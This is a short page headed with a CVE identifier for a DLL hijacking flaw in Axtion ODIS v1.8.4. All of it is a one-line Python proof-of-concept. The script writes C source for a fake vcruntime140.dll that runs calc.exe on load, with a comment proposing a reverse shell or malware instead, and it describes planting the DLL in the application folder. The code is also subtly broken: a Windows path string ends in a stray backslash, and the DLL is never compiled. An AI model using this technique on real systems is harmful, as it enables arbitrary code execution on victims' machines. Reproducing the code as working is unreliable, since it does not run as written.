CVE-2025-66715: Axtion ODISSAAS ODIS v1.8.4 DLL劫持漏洞

# CVE-2025-66715 DLL Hijacking PoC # Target: Axtion ODISSAAS ODIS v1.8.4 # Vulnerability: DLL hijacking via crafted malicious DLL import os import shutil def create_malicious_dll(): """Generate malicious DLL source code""" dll_source = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: // Code execution when DLL is loaded WinExec("calc.exe", SW_SHOW); // Example: Launch calculator // Or execute reverse shell, malware, etc. break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ''' return dll_source def deploy_poc(): """Deploy the DLL hijacking exploit""" # Target DLL name commonly loaded by ODIS target_dll = "vcruntime140.dll" # Example target DLL malicious_dll = "malicious_vcruntime140.dll" # Create the malicious DLL dll_code = create_malicious_dll() with open(f"{malicious_dll}.c", "w") as f: f.write(dll_code) # Compile the DLL (requires MinGW or MSVC) # Example: gcc -shared -o malicious_vcruntime140.dll malicious_vcruntime140.dll.c # Deploy to application directory app_dir = r"C:\Program Files\Axtion\ODIS\" target_path = os.path.join(app_dir, target_dll) # Backup original DLL if exists if os.path.exists(target_path): shutil.copy(target_path, f"{target_path}.backup") # Replace with malicious DLL # shutil.copy(malicious_dll, target_path) print(f"[!] Deploy malicious DLL to: {target_path}") print(f"[!] When ODIS application starts, the malicious DLL will be loaded") print(f"[!] Arbitrary code will be executed with application privileges") if __name__ == "__main__": deploy_poc()